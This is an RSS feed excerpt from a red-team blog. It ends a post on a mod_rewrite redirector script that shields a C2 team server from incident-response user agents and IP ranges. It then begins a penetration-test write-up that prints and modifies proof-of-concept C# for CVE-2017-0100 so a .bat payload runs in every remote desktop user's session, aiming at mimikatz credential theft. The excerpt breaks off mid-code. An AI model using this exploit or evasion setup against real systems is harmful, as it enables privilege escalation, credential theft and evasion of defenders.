&lt;p&gt;For example to block a single IP address:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python apache_redirector_setup.py &lt;span class=&quot;nt&quot;&gt;--ip_blacklist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.1.1.1;1.1.1.2&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://google.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redirect&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;Team server Address&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This will block the IP Addresses 1.1.1.1 and 1.1.1.2.  Here is an example on how to block IP ranges:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python apache_redirector_setup.py &lt;span class=&quot;nt&quot;&gt;--ip_blacklist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.1.1;1.2;3&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://google.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redirect&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;Team server Address&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The code above will block the 1.1.1.0/24 range, 1.2.0.0/16 range, and 3.0.0.0/8 range.&lt;/p&gt;

&lt;h2 id=&quot;4-complex-rulesets&quot;&gt;4) Complex Rulesets&lt;/h2&gt;

&lt;p&gt;All of these flags can be used together except when using malleable C2. For example, let’s say that we would like a redirector that did mobile user redirection, blocked standard IR user agents, blocked a /24 network and only allowed specific request URI’s to reach the team server. The script will take each parameter and process them in this order:&lt;/p&gt;

&lt;p&gt;1: IR Blacklisting
2: IP Blacklisting
3: UA Blacklisting
4: URI Whitelisting
5: Mobile Proxy/Redirect
6: Allow Clause&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python apache_redirector_setup.py &lt;span class=&quot;nt&quot;&gt;--mobile_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://mobile-payload.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--mobile_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--valid_uris&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;payload;uploads&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ip_blacklist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.1.1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://GetBlockedNerd.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redirect&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://Teamserver.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Mod-Rewrite/Combo.png&quot; alt=&quot;combo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Mod_Rewrite is very powerful and can be as simple or complicated as you make it. This script is not intended to do everything that mod_rewrite has to offer and it never will. But, this serves as a good baseline and introduction to the power of mod_rewrite. The script is available on my &lt;a href=&quot;https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Huge shout out to &lt;a href=&quot;https://twitter.com/bluscreenofjeff&quot;&gt;Jeff Dimmock&lt;/a&gt; for guiding me through the process, and being there for me. I also have to give a shout out to all the current and former ATD members for teaching me almost everything I know about Red Teaming.&lt;/p&gt;
</description>
        <pubDate>Mon, 17 Apr 2017 14:15:31 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2017/04/17/Mod-Rewrite-Automatic-Setup/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2017/04/17/Mod-Rewrite-Automatic-Setup/</guid>
        
        <category>Mod-Rewrite</category>
        
        <category>Phishing</category>
        
        <category>Server-Setup</category>
        
        
        <category>Archive</category>
        
      </item>
    
      <item>
        <title>From Patch Tuesday to DA</title>
        <description>&lt;p&gt;Recently on an assessment, I was stuck in the context of a user with low privileges on a Windows Server 2012 R2 system. This server functioned as a Remote Desktop server for the organization. I knew that if we could escalate to local administrator on the server, we would be able to use mimikatz to steal Domain Administrator credentials.&lt;/p&gt;

&lt;p&gt;I was working with &lt;a href=&quot;https://www.linkedin.com/in/chris-myers-54326155/&quot;&gt;Chris Myers&lt;/a&gt; , and we had tried almost everything. Right when we were about to move on, CVE-2017-0100 came to our attention. It was the perfect vulnerability for our situation. In theory, it should allow us to execute a payload on every user with an active session on the remote desktop server. The vulnerability and proof-of-concept exploit was submitted by &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1021&quot;&gt;James Forshaw&lt;/a&gt;;  we modified it to fit our situation. The proof of concept uses session monikers with a DCOM activator to allow a user to start an arbitrary process in another logged on user’s session.&lt;/p&gt;

&lt;p&gt;After analyzing the original proof of concept, we still needed to make a few modifications to fit it to our situation.&lt;/p&gt;

&lt;h2 id=&quot;1-identify-what-types-of-payloads-were-viable-with-this-exploit-and-modify-how-the-payload-is-defined-and-executed&quot;&gt;1) Identify what types of payloads were viable with this exploit, and modify how the payload is defined and executed.&lt;/h2&gt;

&lt;p&gt;Here is the original code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Creating Process in Session {0} after 20secs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BindToMoniker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Uri&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Combine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetFolderPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpecialFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;notepad.exe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AbsoluteUri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After identifying that the target parameter was primarily just a path to an executable, the first thing we attempted was to try a Regsvr32.exe payload brought to light by &lt;a href=&quot;https://twitter.com/subTee&quot;&gt;Casey Smith’s&lt;/a&gt; &lt;a href=&quot;http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html&quot;&gt;blog post&lt;/a&gt;.  However, we were unable to get the IHxHelpPaneServer server’s execute function to take parameters.&lt;/p&gt;

&lt;p&gt;We decided that dropping a small .bat file to disk was an acceptable risk, and found a path that was accessible to every user, “C:\TEMP\”.&lt;/p&gt;

&lt;p&gt;Here is our modified code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Creating Process in Session {0} after 20secs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BindToMoniker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Uri&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;C:\\TEMP\\testing.bat&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AbsoluteUri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;2-allow-the-exploit-to-execute-code-on-each-session-instead-of-only-one&quot;&gt;2) Allow the exploit to execute code on each session instead of only one.&lt;/h2&gt;

&lt;p&gt;The original proof of concept would gather a session id for each session on the host, but then only execute code in one session.&lt;/p&gt;

&lt;p&gt;Here is the original code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Waiting For a Target Session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;IEnumerable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetSessionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;First&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Our situation demanded that we could execute code in each user’s context, instead of only the first session recorded. To do this we simply randomly picked a session in the existing “sessions” IEnumerable object, and use that session to execute our payload. Due to the nature of random selection, you may run code on the same user twice; however, due to time constraints, we were willing to accept that outcome.&lt;/p&gt;

&lt;p&gt;Here is our modified code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Waiting For a Target Session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;IEnumerable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetSessionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Random&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rnd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ElementAt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;3-keep-the-exploit-running-until-we-manually-kill-the-process&quot;&gt;3) Keep the exploit running, until we manually kill the process.&lt;/h2&gt;

&lt;p&gt;The original code would execute once and then exit. To solve this problem, we simply let the IHxHelpPaneServer execute functionality inside of a while loop.&lt;/p&gt;

&lt;p&gt;Here is the original code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
